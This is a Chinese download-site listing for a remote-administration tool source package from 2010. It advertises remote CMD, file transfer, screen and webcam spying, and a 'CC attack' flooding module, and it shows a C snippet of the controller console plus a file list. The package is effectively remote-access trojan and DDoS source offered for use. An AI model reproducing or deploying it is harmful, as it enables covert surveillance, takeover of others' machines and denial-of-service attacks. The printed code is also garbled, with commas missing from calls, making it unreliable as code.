• 大小: 382KB
    文件类型: .rar
    金币: 1
    下载: 0 次
    发布日期: 2021-06-05
  • 语言: C/C++
  • 标签:

资源简介

功能模块(DLL): 支持硬盘,目录操作,上传,下载. 控制台(CMD命令) 远程屏幕操作 远程摄像头查看 压力测试(cc攻击) 参考此源代码必须要有C语言,windows sdk编程,socket编程基础 源代码目录列表: 模块: Exe_screen 屏幕监控程序,客户端根据不同的SessionID,来启动这个程序连接到中心端进行屏幕管理. Initialize 初始化程序,一些常用的函数都在这个模块初始化,来供其他模块调用. Mod_cmd 控制台模块 Mod_ddos 远程CC模块 Mod_file 文件管理模块 Mod_screen 启动exe_screen的模块 Tcapdll 摄像头模块(vs2008) 主程序: Kmc 为客户端 Kms 为中心端

资源截图

代码片段和文件信息

/*
开发作者:可明
开发日期:2010.8
远程控制编程讨论群:306601696467438
*/

#include 
#include 
#include 
#include 
#include 

HANDLE hExit = NULL;

unsigned __stdcall wordk_recv(void *param)
{
    char buffer[4096];
    WSANETWORKEVENTS  events;
    WSAEVENT WSAEvent = WSACreateEvent();
    SOCKET sock = (SOCKET)param;

    WSAEventSelect(sock WSAEvent FD_READ | FD_CLOSE);

    for (;;) {
        if (WaitForSingleobject(WSAEvent INFINITE) == -1)
            break;
        if (WSAEnumNetworkEvents(sock WSAEvent &events) != 0)
            break;

        if(events.lNetworkEvents & FD_CLOSE) {
            break;
        } else if (events.lNetworkEvents & FD_READ) {
            memset(buffer 0x0 4096);
            if (recv(sock buffer 4096 0) > 0) {
                printf(buffer);
            }
        }

    }
    SetEvent(hExit);
    return 0;
}

unsigned __stdcall wordk_cmd(void *param)
{
    char cmd[4096];
    SOCKET sock = (SOCKET)param;
    for (;;) {
        memset(cmd 0x0 4096);
        gets(cmd);
        strcat(cmd “\r\n“);
        send(sock cmd strlen(cmd) 0);
    }
    return 0;
}

int main(int argc char *argv[])
{
    if (argc != 2)
        return -1;

    DialogBox(NULL NULL NULL NULL);

    u_long port = atol(argv[1]);

    WSADATA WSAData;
    WSAStartup(0x202&WSAData);
    struct hostent *host;

    struct sockaddr_in server_in;
    struct sockaddr_in client_in;
    int client_in_len;
    SOCKET socket = WSASocket(AF_INET SOCK_STREAM IPPROTO_TCP 0 0 0);
    SOCKET client_sock;

    host = gethostbyname(NULL);
    if (host == NULL)
        return -1;

   // printf(“Wait %s\n“argv[1]);

    server_in.sin_family = AF_INET;
    server_in.sin_port = htons(port);
    server_in.sin_addr.s_addr = INADDR_ANY;
    memcpy(&server_in.sin_addr.S_un.S_addrhost->h_addr_list[0]host->h_length);

    if(bind(socket(struct sockaddr far*)&server_insizeof(server_in)) == SOCKET_ERROR){
        return -1;
    }
    listen(socket10);

    client_in_len = sizeof(client_in);
    client_sock = accept(socket(struct sockaddr far*)&client_in&client_in_len);
    closesocket(socket);

    if(client_sock != INVALID_SOCKET){
        hExit = CreateEvent(NULLFALSEFALSENULL);
        CloseHandle((HANDLE)_beginthreadex(NULL0wordk_recv(void*)client_sock0NULL));
        CloseHandle((HANDLE)_beginthreadex(NULL0wordk_cmd(void*)client_sock0NULL));
        WaitForSingleobject(hExitINFINITE);
        CloseHandle(hExit);
        closesocket(client_sock);
    }

    return 0;
}

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件        776  2010-07-10 00:09  src\kms\kms.layout

     文件      17953  2010-07-16 01:01  src\kms\main.c

     文件        917  2010-07-16 01:01  src\kms\km_socket.h

     文件      16891  2010-07-16 01:01  src\kms\km_head.h

     文件       1697  2010-07-08 02:09  src\kms\kms.cbp

     文件       7669  2010-07-16 01:01  src\kms\km_socket.c

     文件       7460  2010-07-16 01:01  src\kms\km_main_event.c

     文件        494  2010-07-10 00:09  src\kms\kms.depend

     文件        926  2010-07-16 01:01  src\kms\km_main_event.h

     文件       9329  2010-07-16 00:58  src\kmc\km_head.h

     文件       2373  2010-07-16 01:01  src\kmc\main.c

     文件       8121  2010-07-06 21:11  src\kmc\tcs.rc

     文件      15283  2010-07-16 01:01  src\kmc\main_frame.c

     文件        518  2010-07-16 01:01  src\kmc\main_frame.h

     文件       4016  2010-07-06 21:11  src\kmc\resource.h

     文件       4272  2010-07-16 00:58  src\kmc\frame_tools.c

     文件       7049  2010-07-16 00:58  src\kmc\crc32.c

     文件       3941  2010-07-01 23:38  src\kmc\kmc.cbp

     文件       1146  2010-07-16 00:58  src\kmc\km_socket.h

     文件       1715  2010-06-28 17:57  src\kmc\main_frame_client_op.h

     文件       8866  2010-07-16 00:59  src\kmc\m_frame_cap_screen.c

     文件        248  2010-07-16 00:58  src\kmc\crc32.h

     文件        316  2010-01-07 01:42  src\kmc\module_manger.h

     文件        707  2010-07-16 00:58  src\kmc\file.c

     文件        306  2010-07-16 00:58  src\kmc\file.h

     文件        463  2010-07-16 00:58  src\kmc\ip_info.h

     文件       2476  2010-07-16 00:58  src\kmc\ip_info.c

     文件        790  2010-07-16 00:58  src\kmc\frame_tools.h

     文件      11778  2010-07-16 00:59  src\kmc\m_frame_file_event.c

     文件       4638  2010-07-16 01:00  src\kmc\m_frame_screen_event.c

............此处省略128个文件信息

评论

共有 条评论

相关资源